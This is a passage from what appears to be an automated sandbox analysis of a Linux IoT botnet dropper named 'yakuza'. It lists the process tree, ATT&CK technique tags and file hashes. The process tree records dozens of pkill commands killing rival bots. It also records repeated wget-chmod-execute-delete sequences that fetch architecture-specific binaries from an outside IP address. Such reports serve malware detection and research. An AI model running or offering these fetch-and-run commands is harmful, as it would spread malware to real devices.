      busybox pkill -9 SAIAKUSO
      4⤵
      PID:2036
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:2043
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      PID:2044
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:2045
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:2052
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      Reads CPU attributes
      PID:2053
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:2054
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:2061
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      PID:2062
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:2063
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:2068
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:2069
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:2072
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:2077
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:2078
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:2081
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:2085
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:2087
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:2090
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:2092
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      Reads CPU attributes
      PID:2093
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:2097
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:2101
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      Reads CPU attributes
      PID:2102
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:2106
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:2111
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads runtime system information
      PID:2112
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:2115
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:2122
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:2123
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:2126
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:2130
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:2131
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:2135
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:2136
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:2141
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:2142
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:2149
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      Reads CPU attributes
      PID:2150
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:2151
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:2156
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:2157
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:2161
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:2166
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      PID:2167
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:2171
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:2173
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      Reads CPU attributes
      PID:2174
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:2180
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:2185
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      PID:2186
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:2189
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:2194
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      Reads runtime system information
      PID:2195
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:2198
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:2203
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      Reads runtime system information
      PID:2204
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:2207
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:2211
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:2212
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:2216
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:2221
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:2222
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:2224
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:2228
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      Reads CPU attributes
      PID:2229
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:2234
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:2239
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      PID:2240
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:2241
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:2247
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      Reads CPU attributes
      PID:2248
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:2251
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:2253
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      Reads CPU attributes
      System Network Configuration Discovery
      PID:2254
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:2261
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:2264
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:2266
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:2270
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:2272
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      PID:2273
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:2278
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:2282
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      PID:2284
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:2288
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:2289
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      PID:2290
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:2297
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:2302
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      PID:2303
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:2305
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:2309
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      Reads runtime system information
      PID:2310
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:2314
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:2318
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      PID:2321
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:2323
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:2325
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2326
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2331
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:2336
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      PID:2337
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:2341
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:2345
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      PID:2346
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:2349
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:2354
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      Reads CPU attributes
      PID:2355
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:2359
- - /bin/sh
    sh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"
    3⤵
    PID:2361
  - - /usr/bin/pkill
      pkill -9 mioribitches
      4⤵
      PID:2362
  - - /bin/busybox
      busybox pkill -9 mioribitches
      4⤵
      PID:2369
- - /bin/sh
    sh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"
    3⤵
    PID:2372
  - - /usr/bin/pkill
      pkill -9 A5p9
      4⤵
      PID:2375
  - - /bin/busybox
      busybox pkill -9 A5p9
      4⤵
      PID:2376
- - /bin/sh
    sh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"
    3⤵
    PID:2381
  - - /usr/bin/pkill
      pkill -9 TheWeeknds
      4⤵
      PID:2384
  - - /bin/busybox
      busybox pkill -9 TheWeeknds
      4⤵
      PID:2386
- - /bin/sh
    sh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"
    3⤵
    PID:2388
  - - /usr/bin/pkill
      pkill -9 mnblkjpoi
      4⤵
      PID:2389
  - - /bin/busybox
      busybox pkill -9 mnblkjpoi
      4⤵
      PID:2396
- - /bin/sh
    sh -c "pkill -9 AbAd || busybox pkill -9 AbAd"
    3⤵
    PID:2401
  - - /usr/bin/pkill
      pkill -9 AbAd
      4⤵
      PID:2402
  - - /bin/busybox
      busybox pkill -9 AbAd
      4⤵
      PID:2403
- - /bin/sh
    sh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"
    3⤵
    PID:2406
  - - /usr/bin/pkill
      pkill -9 Tokyos
      4⤵
      PID:2411
  - - /bin/busybox
      busybox pkill -9 Tokyos
      4⤵
      PID:2413
- - /bin/sh
    sh -c "pkill -9 neb || busybox pkill -9 neb"
    3⤵
    PID:2415
  - - /usr/bin/pkill
      pkill -9 neb
      4⤵
      PID:2419
  - - /bin/busybox
      busybox pkill -9 neb
      4⤵
      PID:2421
- - /bin/sh
    sh -c "pkill -9 Akiru || busybox pkill -9 Akiru"
    3⤵
    PID:2425
  - - /usr/bin/pkill
      pkill -9 Akiru
      4⤵
      PID:2428
  - - /bin/busybox
      busybox pkill -9 Akiru
      4⤵
      PID:2430
- - /bin/sh
    sh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"
    3⤵
    PID:2434
  - - /usr/bin/pkill
      pkill -9 U8inTz
      4⤵
      Reads CPU attributes
      PID:2435
  - - /bin/busybox
      busybox pkill -9 U8inTz
      4⤵
      PID:2439
- - /bin/sh
    sh -c "pkill -9 netstats || busybox pkill -9 netstats"
    3⤵
    PID:2443
  - - /usr/bin/pkill
      pkill -9 netstats
      4⤵
      PID:2445
  - - /bin/busybox
      busybox pkill -9 netstats
      4⤵
      PID:2450
- - /bin/sh
    sh -c "pkill -9 Alex || busybox pkill -9 Alex"
    3⤵
    PID:2455
  - - /usr/bin/pkill
      pkill -9 Alex
      4⤵
      PID:2456
  - - /bin/busybox
      busybox pkill -9 Alex
      4⤵
      PID:2459
- - /bin/sh
    sh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"
    3⤵
    PID:2463
  - - /usr/bin/pkill
      pkill -9 W9RCAKM20T
      4⤵
      Reads CPU attributes
      PID:2464
  - - /bin/busybox
      busybox pkill -9 W9RCAKM20T
      4⤵
      PID:2467
- - /bin/sh
    sh -c "pkill -9 newnetword || busybox pkill -9 newnetword"
    3⤵
    PID:2471
  - - /usr/bin/pkill
      pkill -9 newnetword
      4⤵
      PID:2473
  - - /bin/busybox
      busybox pkill -9 newnetword
      4⤵
      PID:2475
- - /bin/sh
    sh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"
    3⤵
    PID:2480
  - - /usr/bin/pkill
      pkill -9 Ayo215
      4⤵
      PID:2481
  - - /bin/busybox
      busybox pkill -9 Ayo215
      4⤵
      PID:2485
- - /bin/sh
    sh -c "pkill -9 Word || busybox pkill -9 Word"
    3⤵
    PID:2487
  - - /usr/bin/pkill
      pkill -9 Word
      4⤵
      PID:2488
  - - /bin/busybox
      busybox pkill -9 Word
      4⤵
      PID:2495
- - /bin/sh
    sh -c "pkill -9 nloads || busybox pkill -9 nloads"
    3⤵
    PID:2500
  - - /usr/bin/pkill
      pkill -9 nloads
      4⤵
      Reads CPU attributes
      PID:2501
  - - /bin/busybox
      busybox pkill -9 nloads
      4⤵
      PID:2504
- - /bin/sh
    sh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"
    3⤵
    PID:2509
  - - /usr/bin/pkill
      pkill -9 BAdAsV
      4⤵
      PID:2510
  - - /bin/busybox
      busybox pkill -9 BAdAsV
      4⤵
      PID:2513
- - /bin/sh
    sh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"
    3⤵
    PID:2516
  - - /usr/bin/pkill
      pkill -9 Wordmane
      4⤵
      PID:2519
  - - /bin/busybox
      busybox pkill -9 Wordmane
      4⤵
      PID:2522
- - /bin/sh
    sh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"
    3⤵
    PID:2526
  - - /usr/bin/pkill
      pkill -9 notyakuzaa
      4⤵
      PID:2527
  - - /bin/busybox
      busybox pkill -9 notyakuzaa
      4⤵
      PID:2531
- - /bin/sh
    sh -c "pkill -9 Belch || busybox pkill -9 Belch"
    3⤵
    PID:2534
  - - /usr/bin/pkill
      pkill -9 Belch
      4⤵
      PID:2535
  - - /bin/busybox
      busybox pkill -9 Belch
      4⤵
      PID:2540
- - /bin/sh
    sh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"
    3⤵
    PID:2544
  - - /usr/bin/pkill
      pkill -9 Wordnets
      4⤵
      Reads runtime system information
      PID:2545
  - - /bin/busybox
      busybox pkill -9 Wordnets
      4⤵
      PID:2548
- - /bin/sh
    sh -c "pkill -9 obp || busybox pkill -9 obp"
    3⤵
    PID:2554
  - - /usr/bin/pkill
      pkill -9 obp
      4⤵
      PID:2555
- /bin/rm
  rm -rf yakuza.i586
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.m68k
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x yakuza.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/yakuza.m68k
  ./yakuza.m68k
  2⤵
  PID:1577
- /bin/rm
  rm -rf yakuza.m68k
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm4
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x yakuza.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/yakuza.arm4
  ./yakuza.arm4
  2⤵
  PID:1582
- /bin/rm
  rm -rf yakuza.arm4
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm5
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod +x yakuza.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/yakuza.arm5
  ./yakuza.arm5
  2⤵
  PID:1596
- /bin/rm
  rm -rf yakuza.arm5
  2⤵
  PID:1598
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm7
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x yakuza.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/yakuza.arm7
  ./yakuza.arm7
  2⤵
  PID:1601
- /bin/rm
  rm -rf yakuza.arm7
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sparc
  2⤵
  - Writes file to tmp directory
  PID:1604
- /bin/chmod
  chmod +x yakuza.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/yakuza.sparc
  ./yakuza.sparc
  2⤵
  PID:1615
- /bin/rm
  rm -rf yakuza.sparc
  2⤵
  PID:1617

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/yakuza.mips

Filesize
183KB

MD5
fe20c84814e3b28ab3b4d72949f09c9a

SHA1
0bf1e245ca54ea279f349a6110ea3cf2a90bafc8

SHA256
cf50bcd9a2ed02b09dc85b05f13526a850da52e616d16d93224282c464c21468

SHA512
9a6d894da0f1c50f7ca27f2452d4dc9f531427a417ebb5a2eaa76bb020279fc8171f2926daf25c25817766ea7bf4b85dec2bec1e28a340cd2548c21ec07b8203

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads